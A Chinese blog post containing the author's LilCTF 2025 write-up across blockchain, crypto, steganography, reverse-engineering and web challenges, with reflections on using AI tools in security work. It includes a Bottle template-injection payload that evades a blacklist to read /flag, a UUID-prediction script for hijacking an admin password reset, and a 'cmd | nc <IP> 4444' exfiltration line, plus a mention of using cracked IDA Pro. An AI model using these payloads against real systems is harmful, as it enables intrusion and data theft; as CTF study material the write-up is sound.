Candlest 的博客

Back

题解#

我们的队伍「我们不可能成为CTF糕手!绝对不行。(※似乎可行?)」

仅上传了我的部分。

出于对象储存的流量消耗原因其实是懒,删除了所有 FLAG 截图。

Blockchain#

生蚝的宝藏#

预感这道题不会很难,应该是智能合约审查。Blockchain 这东西大家估摸着都没什么基础,要做的很难应该被放在密码学之类的地方吧?

所以,我很自信地认为依靠互联网和AI是能在几个小时内把这道题磨出来的。

虽然过程很丑陋,完全是 AI 先教会我最基础的 Web3 工具链怎么用,再帮我审查合约。我除了纠错基本没有动脑……

找到 Hash 的漏洞比较容易,因为一切都被明文给出。

感觉关键点还是逆向的做法:找出字符串A,然后再找加密方式,做逆运算 or 复现加密算法得到字符串B。

按照要求完成转账(热身)#

步骤1是给你注册一个新的账号:

[+] deployer account: 0x6d3dbBCdFd06fD556fA68D89306ce480e59F8191

[+] token: v4.local.kO8wId2nymSOvDM06FgD4DPyZ4GJIbGhEcyFrTgJSs7xVR5y096ZMWRN5MGIMwmbvLyLYSsbAbt5wXYRZGHW99Yw7FoeEf8C7_NcAzzDTxRnBTspCDpjvQICz6yqX2I1Ydi1sLuC1_c8sbCWwgfJ067TnHyQcG2DfkEXLAEPyuC5_A.T3lzdGVyVHJlYXN1cmU
plaintext

在 Gemini 指导下了解了 PRC 和 水龙头,并安装了 Foundry。

从水龙头里得到以太币。粘贴进去就好了。

步骤二是转账。会在这个账号部署智能合约。

还原合约的处理(又是逆向)#

cast code 0xb17b9BB32B58033c57194eA5ce35fb0e5b4BaaFA --rpc-url http://106.15.138.99:8545/ 获取合约的字节码。

使用 https://www.ethervm.io/decompile 逆向它。

咨询 GPT,得到逻辑:

读取参数,读取密钥 k,
k << 0xa1,
treasure XOR k,
进行 `keccak256(参数)` == keccak256(treasure XOR k) 的比较,
相等则返回 1
plaintext

解密#

keccak256( payload XOR (K << 0xa1) ) == keccak256(secret) 中的

payload = secret XOR (K << 0xa1)

其中:

PUSH12 0x35b2bcaf9a9b9b1c1b331ab3
SHL    0xa1
asm

AI 一开始并不在乎这个左移。经过提示左移这个流程后,AI 写出了正确的代码:

Crypto#

ez_math#

解密脚本如下:

原理为相似矩阵特征值一致

Misc#

PNG_Master#

flag1#

strings 扫一遍,在末尾得到:

6K6p5L2g6Zq+6L+H55qE5LqL5oOF77yM5pyJ5LiA5aSp77yM5L2g5LiA5a6a5Lya56yR552A6K+05Ye65p2lZmxhZzE6NGM0OTRjNDM1NDQ2N2I=
plaintext

显然是 base64,解码后得到:

让你难过的事情,有一天,你一定会笑着说出来flag1:4c494c4354467b
plaintext

flag2#

我们使用 zstag -a 扫描,重点关注红色部分,第一个便是:

b1,rgb,lsb,xy       .. text: "5Zyo5oiR5Lus5b+D6YeM77yM5pyJ5LiA5Z2X5Zyw5pa55piv5peg5rOV6ZSB5L2P55qE77yM6YKj5Z2X5Zyw5pa55Y+r5YGa5biM5pybZmxhZzI6NTkzMDc1NWYzNDcyMzM1ZjRk"
plaintext

看起来也许是 base64,尝试解码:

在我们心里,有一块地方是无法锁住的,那块地方叫做希望flag2:5930755f3472335f4d
plaintext

flag3#

到这里就没什么头绪了,尝试把 zstag 的输出给 Gemini 看,提示我还有 zlib 数据没提取出来。

那我们就 binwalk -e 一下:

54            0x36            Zlib compressed data, default compression
317           0x13D           Zlib compressed data, default compression
456639        0x6F7BF         Zlib compressed data, default compression
plaintext

依次 zlib-flate -uncompress 把二进制数据解一次。然后再 xxd 把文件头给 Gemini 看。

Gemini 发现 0x6F7BF 是压缩包,0x36 只是一个色彩文件。

所以我们改 0x6F7BF 后缀,解压得到 hint.txtsecret.bin。根据 hint.txt ,我们知道 flag 就在 secret.bin 里面。

在 ctf-wiki, gemini 和 vscode 的帮助下发现 hint.txt 是零宽字符隐写,我们去找工具。

提示1:与文件名 XOR#

发现:https://www.guofei.site/pictures_for_blog/app/text_watermark/v1.html 能够提取出 与文件名XOR 的密文。

提示2:后缀不算文件名#

脚本怎么不对劲,回看题目,发现作者提示后缀不算文件名。

修改后脚本如下:

就此得到 flag3。

最终的解密#

flag1:4c494c4354467b
flag2:5930755f3472335f4d
flag3:61733765725f696e5f504e477d
plaintext

hex2ascii 即可。

Reverse#

1’M no7 A rO6oT#

对于这种题目,似乎再怎么混淆都是要打回原形进行执行的,总结就是别执行执行危险代码的那一部分,但是要执行从混淆的代码还原回来的那一部分。

起手一个 strings 剥离出 <script> 内的脚本,去掉最后的执行而是让它打印。

candlest@yl15prow /m/d/L/Re> strings ./Coloringoutomic_Host.mp3 | grep script
<script>...</script>
sh

得到 PowerShell 脚本,经过层层分析,最终在混淆代码中找到 flag。

ARM ASM#

最近的大创也有安卓逆向的部分,所以先用 jadx 随便翻翻源代码,发现 MainActivity 用到了 libez_asm_hahaha.so 里面的 String check(String str) 函数。

于是提取出 libez_asm_hahaha.so,遗憾的是 IDA-Free 不能分析 ARM 架构的文件,于是只能用之前在看雪找的 IDA Pro 9.1,装上 IDA-Pro-MCP 开始分析。

其中短暂地被 k=114514… 这个变量误导,但是好在 Gemini 能够成功找到关键文件。不过,它却不能正确理解 vqtbl1q_s8 这个伪指令。反正是和 Gemini 纠缠了好久,最后尝试让 Gemini 带着我把 check 相关的汇编读一遍,才发现 libez_asm_hahaha.so 更改了 base64 的顺序,自己写出了除了密码块链接以外代码,只有 1/3 的 FLAG 是对的,我并不知道第二第三块密码中的 t 是怎么变化的。

最后是手动 RAG 喂给 GPT-5,乘着没降智把正确的逻辑找出来了:

v5 = vld1q_dup_s8(v4); (行 31): 将轮号 i 加载到向量 v5 的所有16个字节中。
t = veorq_s8(t, v5); (行 32): t 与轮号 i 异或,为下一轮做准备。
plaintext

t 在三轮中并不会”循环移位”,而是每轮末用按位异或更新:t := t XOR round_index(round_index 为该轮的轮号,0,1,2)。

由于更新发生在”处理完当前块之后”,所以用于第 i 个块的 t 为:

块 0:t0
块 1:t0
块 2:t0 XOR 0x01
plaintext

顺利补完脚本如下:

Oh_My_Uboot#

Bootloader,从 0x60800000 重新开始的世界。

也许可行:qemu 动态调试#

倒在了 msys2 的 gdb 不能正常加载脚本的问题上。不过找到了正确的 PASSWORD 提示词。

换汤不换药:输入验证#

在 GLM + IDA-Pro-MCP 的帮助下速览伪代码,发现一个奇怪的函数通过一段异或在运行时构建出了 password 提示词,同时找回了失落的验证函数。

并没有逻辑拆分,并没有密文混淆,只是 XOR + Base58。我们只需要解码 Base58 再 XOR 即可。

这次学聪明了确认一下是不是自建的 base58 码表。是的,而且也是运行时构建的。

确认逻辑没问题,让 GLM 写脚本如下:

Qt_Creator#

我最爱的 Qt 框架。

大概流程是:sub_411430 -> sub_4113A0 -> sub_410100 -> sub_40FFF0

安装程序弹出验证窗口,根据字符串名称找到模态对话框代码,进而找到 sub_40FFF0 这一关键的函数。它实现了对 QString(引用计数器混淆视听)的解密,具体逻辑为奇数位置-1 偶数位置+1。

顺藤摸瓜找到了密钥密文,因为 KJKDS 就是 LILCT

但是如果直接按照奇数位置-1 偶数位置+1的规则,解密出来是 LILCTHyS5acre4t2pa/u_veryaa2lx3ni3nt}。这个时候我们发现 G 的前一个字符是 F,那么我们把规则反过来就好了。

Web#

ez_bottle#

给了源代码,交给 Gemini 一通分析,指出这是一个文件上传题目,主要漏洞是*服务器端模板注入 (SSTI)*漏洞。

提示我们去看 def view_file(md5, filename),指出只有我们打开的文件才会被 BLACK_DICT 检测。

初见#

在 Copilot 的行间补全下完成了上传脚本,然后开始了一些奇怪的尝试,比如发现单行会返回 Error rendering template: Template 'xxx' not found.,变成寻找对应的模板文件。而多行会把它当作模板文本渲染。

误区:以为是多文件上传题目 or 文件包含#

最开始的想法是,既然是上传 zip,且只有我们打开的文件才会被 BLACK_DICT 检测,那么就是多文件协作的题目了。

而 Gemini 也告诉我 jinja 有 %include() 的语法。于是试了半天发现不能识别到模板,应该是指定了的 template 文件夹。

正解:读 Bottle 的文档#

AI 用多了人总会忘记传统的搜索引擎,互联网的传统信息收集方法。

Gemini 已经告诉我用的是 Bottle 框架了,只要动动手指就能看到 SimpleTemplate 模板引擎的文档。我们可以使用 % 直接执行 python 代码。

接下来事情就简单了,通过 % print(locals()) 寻找可用的工具。

由于我看不到回显,所以利用错误信息 raise Exception() 传递有效信息。

Gemini 指出内建函数的重要意义并通过遍历越过 [] 的黑名单,通过字符串拼接越过 open 的黑名单:

# The final payload
% result = [v['o' + 'pen']('/flag').read() for v in locals().values() if isinstance(v, dict) and 'o' + 'pen' in v]
% raise Exception(result)
python

就此这题成功解出。

Ekko_note#

阅读源码后 Gemini 直接给出了很接近正确答案的思路:先根据 uuid 的不变性在找回密码界面输入 token 更改 admin 密码,再在设置页面更改 time_api 为一个返回 2066 年以后时间的 url,最后可以开始任意执行了。

第一步 uuid#

Gemini 也不清楚 python3.14 的 uuid8 的生成和 random 有关,但是经过实验是的:

果然 AI 对时效性很强的东西的误差会更明显。

import random
import uuid

SERVER_START_TIME = 1755255921.956183

def padding(input_string):
    byte_string = input_string.encode('utf-8')
    if len(byte_string) > 6:
        byte_string = byte_string[:6]
    padded_byte_string = byte_string.ljust(6, b'\x00')
    padded_int = int.from_bytes(padded_byte_string, byteorder='big')
    return padded_int

random.seed(SERVER_START_TIME)
print(uuid.uuid8(a=padding('admin')))
python

其中 /server_info 是我们获取 SERVER_START_TIME 的途径。

第二步 time_api#

后面检查源代码,发现只需要 datetime_str = data.get('date') 即可:

{
  "date": "2067-08-15 20:17:09"
}
json

粘贴给 https://api.npoint.io/ 就可以了。

第三步 任意执行 出网#

现在我们获得了任意执行的能力,但是只能输入,看不到输出。

咨询 Gemini,在服务器上使用 cmd | nc <IP> 4444 出网。

在有公网 IP 的机器上使用 nc -lvnp 4444 监听。

感想#

AI 与网络安全#

虽然我很菜,但是 AI 确实对网安工作的效率有极大的提升效果。

绝对不能拘泥于古典编程,同时也不能完全靠 AI 失去了自己学习的机会。

入门 PWN#

Reverse 和 PWN,与计算机基础和编译原理关联比较大。我希望学习他们,更好地理解计算机基础和编译原理。

同时,我也感受到 CTF 这种比赛对我的正向影响。

面对一些”点进去自动下载原神”的恶作剧,一些类似哈基密文、幻影坦克的整活项目,我也不再抓瞎,而是能够尝试理解他们的原理。

面对一些破解xxx软件的方法,我也能够看懂了,以后可以自己破解软件学习了

最重要的是精神上的,我不再有那么坚定的”xxx做不到”的思想了。

Get Hans Dirty,CTF 的很多信息都要靠尝试和报错获取。这条规则在 Earth Online 这个游戏也适用。我尝试与更多样的人沟通,尝试不再那么小心翼翼内敛,而是尝试大胆与人沟通,逐渐尝试把内心的想法说出来。

更别说,受到了前辈的鼓舞。

这个 PWN,我学定了。

GDB-MCP 的可行性#

IDA-Pro-MCP 大大提高了静态分析的效率。

但是动态调试还是没有一款合适的 MCP ……

也许,我能做这一件事?

感谢师傅#

感谢带我入门的前辈师傅,我原本以为安全的世界离我很远。我原本以为计算机的世界只有开发。是你们让我发现计算机世界的缤纷,还有这么多我不曾思考过,不曾重视过却在计算机世界里面扮演如此重要角色的方向值得研究……

LilCTF 2025 题解
https://blog.candlest.cc/blog/ctf/lilctf-2025
Author Candlest
Published at 2025年8月19日